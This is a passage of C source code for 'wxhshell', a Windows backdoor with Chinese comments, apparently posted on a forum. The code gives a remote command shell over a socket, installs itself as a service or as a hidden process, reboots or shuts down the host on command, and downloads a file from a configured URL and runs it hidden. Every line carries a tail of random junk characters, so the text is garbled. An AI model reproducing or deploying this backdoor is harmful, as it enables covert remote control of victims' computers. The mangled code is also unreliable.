  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V3ozaVk;  
  } <~5O-.G]  
  else { tgKr*8t{  
pM@8T25=  
    switch(cmd[0]) { GqxnB k1  
  dvjj"F'Bf  
  // 帮助 Ht;Rz*}  
  case '?': { xx!8cvD4?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); SPE)db3  
    break; v^@)&,  
  } 6}-No  
  // 安装 W"Y)a|rG%  
  case 'i': { y@7fR9hp<  
    if(Install()) I9 zs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A]!0Z:{h%  
    else 9oJM?&i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <b H *f w  
    break; nC p/.]Y*  
    } k!x|oC0  
  // 卸载 =KHb0d |.  
  case 'r': { @CzFzVmF"  
    if(Uninstall()) ]S4"JcM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I :<,9.   
    else N_K9H1 r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uQvTir*e  
    break; ) n O ^Ay  
    } `B@eeXa;u  
  // 显示 wxhshell 所在路径 V?S}%-a  
  case 'p': { je^VJ&ac  
    char svExeFile[MAX_PATH]; syB pF:`-W  
    strcpy(svExeFile,"\n\r"); 1<'z)r4  
      strcat(svExeFile,ExeFile); D/Ki^E  
        send(wsh,svExeFile,strlen(svExeFile),0); /al56n  
    break; FTCIfW  
    } <VhmtT%7  
  // 重启 THhxj)  
  case 'b': { _y[C52,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R 9` [C  
    if(Boot(REBOOT)) zN!W_2W*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QIMd`c  
    else { 6:G&x<{  
    closesocket(wsh); Y"bm4&'  
    ExitThread(0); B-N//ef}  
    } 8c.>6 Hy  
    break; sPi  
    } UUDUd a  
  // 关机 +@?Q"B5u}  
  case 'd': { >`UqS`YQK  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); dP_Q kO  
    if(Boot(SHUTDOWN)) >hNSEWMY`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CWkWW/ZI  
    else { "}Om0rB}1  
    closesocket(wsh); k_]'?f7Z  
    ExitThread(0); S.`y%t.GP  
    } !6=s{V&r1  
    break; LRHod1}mS  
    } ?\,;KNQr  
  // 获取shell 5 %\K  
  case 's': { K>+ v" x  
    CmdShell(wsh); uuEvH<1  
    closesocket(wsh); E~}H,*)  
    ExitThread(0); :G 5p`;hGo  
    break; P1[.[q/-e  
  } #6\m TL4vg  
  // 退出 3g!Z[SZ  
  case 'x': { 4A@HR  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O~qRHYv  
    CloseIt(wsh); u;$qJjS N  
    break; lVT*Ev{&.  
    } 4ct-K)Ris  
  // 离开 !QwB8yK@  
  case 'q': { <lFHmi$qt{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); esTL3 l{[  
    closesocket(wsh); ?MFC(Wsh  
    WSACleanup(); C '[4jz0xF  
    exit(1); {2q"9Ox"  
    break; [!%5(Ro_  
        } &'12,'8  
  } }Q: CZ  
  } wqDf\k}'v  
VQ('ejv}/  
  // 提示信息 L;:PeYPL  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k?7"r4Vc)S  
} =Ya^PAj '}  
  } w&H>`l06  
^Ak?2,xB#+  
  return; @Dsw.@/  
} `/ T.u&QF  
1;~s NSTo  
// shell模块句柄 IrYj#,xJ  
int CmdShell(SOCKET sock) &I-:=ir  
{ q0%QMut%  
STARTUPINFO si; Pxf>=kY  
ZeroMemory(&si,sizeof(si)); >6Pe~J5,:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; EgG3XhfS  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8g8eY pG  
PROCESS_INFORMATION ProcessInfo; %TI3Eb  
char cmdline[]="cmd"; jX4$PfOhR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r8YM#dF  
  return 0; f`ibP6%  
} mxCneX  
0@?m"|G  
// 自身启动模式 tLKf]5}f  
int StartFromService(void) 2gK]w$H7!  
{  Me z&@{  
typedef struct UBW,Q+Q  
{ D6lzc f  
  DWORD ExitStatus; !)oQ9,N  
  DWORD PebBaseAddress; ^"<Bk<b(  
  DWORD AffinityMask; DC).p'0VL  
  DWORD BasePriority; 2<UC^vZ  
  ULONG UniqueProcessId; 9 D.wW  
  ULONG InheritedFromUniqueProcessId; jjH2!R]^>  
}   PROCESS_BASIC_INFORMATION; O+mEE>:w%  
uM 'n4oH  
PROCNTQSIP NtQueryInformationProcess; *Jcd_D\-(1  
2|?U%YrHWs  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; IY.M#Q ]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J[l7p6xk  
F/J s K&&  
  HANDLE             hProcess; &zgliT!If  
  PROCESS_BASIC_INFORMATION pbi; TXYO{  
z4D)Xy"/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'J*'{  
  if(NULL == hInst ) return 0; q<.k:v&  
U^[AW$WzU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i;~.kgtq4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :-59~8&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7p'pz8n`X  
5+{oQs_  
  if (!NtQueryInformationProcess) return 0; 5xKod0bA  
pFMJG<W9,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); OD[=fR|cp  
  if(!hProcess) return 0; |a])o  
O=}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p5rq>&"  
93Gj#Mk  
  CloseHandle(hProcess); IIMf\JdM  
Z~(X[Zl :  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); VG7#C@>Z  
if(hProcess==NULL) return 0; 19R~&E's  
&to~#.qc  
HMODULE hMod; b"o\-iUioe  
char procName[255]; I3.JAoB>!  
unsigned long cbNeeded; fif'ptK  
a'HHUii=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }Uj-R3]}K  
`yl|N L  
  CloseHandle(hProcess); A]QGaWK  
}t(5n$go6  
if(strstr(procName,"services")) return 1; // 以服务启动 @ukL! AV?Y  
~)pZ5%C  
  return 0; // 注册表启动 o:UNSr  
} oJ5n*[qUI  
'_DB0_Dp  
// 主模块 GZ5DI+3  
int StartWxhshell(LPSTR lpCmdLine) \COoU("  
{ (JOR: 1aT  
  SOCKET wsl; Z! /_H($  
BOOL val=TRUE; Yt_tAm  
  int port=0; 6&i])iH  
  struct sockaddr_in door; 7^.g\Kt?  
=v|$dDz  
  if(wscfg.ws_autoins) Install(); +5O^{Ce6  
$pPc}M[h  
port=atoi(lpCmdLine); 6C"${}S F`  
^Hf?["m^@  
if(port<=0) port=wscfg.ws_port; D?xR>Oo)  
?Nt m5(R  
  WSADATA data; Su@V5yz  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3&[d.,/  
Z *tHZ7 b  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;O>zA]Z8r  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); V@z/%=PJ  
  door.sin_family = AF_INET; 9. FXbNYg  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Mf5*Wjz.Mc  
  door.sin_port = htons(port); :`BG/  
7/]Ra  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }`0=\cKqn  
closesocket(wsl); 6L~5qbQ  
return 1; b:O_PS5h  
} \qW^AD(it<  
T|$tQgY^  
  if(listen(wsl,2) == INVALID_SOCKET) { l9%ckC*q  
closesocket(wsl); ZZ}HgPZ  
return 1; B|^=2 >8s  
} C@XnV=J  
  Wxhshell(wsl); F6DVq8f9  
  WSACleanup(); d@ZXCiA},  
H2g#'SK@  
return 0; =yJc pj  
k'"R;^~xg  
} W>CG;x{  
o<s~455m/  
// 以NT服务方式启动 n|.>41bJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9O&MsTmg$  
{ _jCu=l_  
DWORD   status = 0; W`#E[g?]  
  DWORD   specificError = 0xfffffff; T.{]t6t$U  
HD$ r<bl  
  serviceStatus.dwServiceType     = SERVICE_WIN32; m=iKu(2xRq  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; W+V &  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -:!T@rV,d  
  serviceStatus.dwWin32ExitCode     = 0; gi_f8RP=2a  
  serviceStatus.dwServiceSpecificExitCode = 0; H%>cpwa[7  
  serviceStatus.dwCheckPoint       = 0; nH?#_ 5F1  
  serviceStatus.dwWaitHint       = 0; 2jQ?-/Q8#  
(A_H[xP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .`D$.|!8g  
  if (hServiceStatusHandle==0) return; 7O=7lQ  
6h[fk.W_  
status = GetLastError(); F CfU=4O  
  if (status!=NO_ERROR) W-1Ub |8C  
{ zLS?: yq  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1TN+pmc}@  
    serviceStatus.dwCheckPoint       = 0; ?ZKIs9E[m  
    serviceStatus.dwWaitHint       = 0; k^UrFl  
    serviceStatus.dwWin32ExitCode     = status; ^D {v L  
    serviceStatus.dwServiceSpecificExitCode = specificError; >I/~)B`jhE  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); bC&xN@4  
    return; d$MewDW UN  
  } \rbvlO?}  
i#U_g:~wC  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9M[   
  serviceStatus.dwCheckPoint       = 0; DQN"85AIZ  
  serviceStatus.dwWaitHint       = 0; w*Ze5j4@ \  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cn_KHz=  
} RBeQT=B8~  
B]#iZ,Tp  
// 处理NT服务事件,比如:启动、停止 #@M'*X_%}K  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 51s3hX$  
{ dlV HyCW  
switch(fdwControl) !1+!;R@&H>  
{ Pf<BQ*n  
case SERVICE_CONTROL_STOP: n3hlo@gYW  
  serviceStatus.dwWin32ExitCode = 0; >hotkMX `3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; bFIv}c+;  
  serviceStatus.dwCheckPoint   = 0; =\jPnov!  
  serviceStatus.dwWaitHint     = 0; pN;Tt+}  
  { y2x)<.cDP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y[f6J3/  
  } wqQrby<  
  return; rY=dNK]d  
case SERVICE_CONTROL_PAUSE: \z-OJ1[F  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; R|7_iMIZ  
  break; ]<o^Q[OL  
case SERVICE_CONTROL_CONTINUE: d+7Dy3i|g=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; PrEfJ?  
  break; sGbk4g  
case SERVICE_CONTROL_INTERROGATE: tjDCfJx*  
  break; w}(Ht_6q{  
}; }~NWOJ3;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  {0} Q5  
} JZrZDW>M  
 B}h8c  
// 标准应用程序主函数 J#k.!]r,Y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S\11 8TpD  
{ <:0d%YB)  
lz0'E'%{P  
// 获取操作系统版本 E K^["_*A  
OsIsNt=GetOsVer(); 0\Myhh~DLE  
GetModuleFileName(NULL,ExeFile,MAX_PATH); N07FU\<9  
J*f..:m  
  // 从命令行安装 v<S?"# ]F=  
  if(strpbrk(lpCmdLine,"iI")) Install(); +JBYGYN&K  
n0@\x=9  
  // 下载执行文件 + gP 4MP  
if(wscfg.ws_downexe) { @1peJJ{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [JX=<a)U  
  WinExec(wscfg.ws_filenam,SW_HIDE); mr#XN&e  
} zJtB?<  
~VO?PfxZ  
if(!OsIsNt) { :eTzjW=  
// 如果时win9x,隐藏进程并且设置为注册表启动 pH!8vnoA  
HideProc(); 7`t[|o  
StartWxhshell(lpCmdLine); k3B]u.Lo  
} \kksZ4,  
else 3l''   
  if(StartFromService()) $x1PU67  
  // 以服务方式启动 7{DSLKtN  
  StartServiceCtrlDispatcher(DispatchTable); (Z};(Hn  
else %y2 i1^  
  // 普通方式启动 { BDUl3T  
  StartWxhshell(lpCmdLine); 8#~x6\!b  
pr"~W8  
return 0; h*X u/aOg  
}
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只看该作者 1 发表于: 2006-10-10
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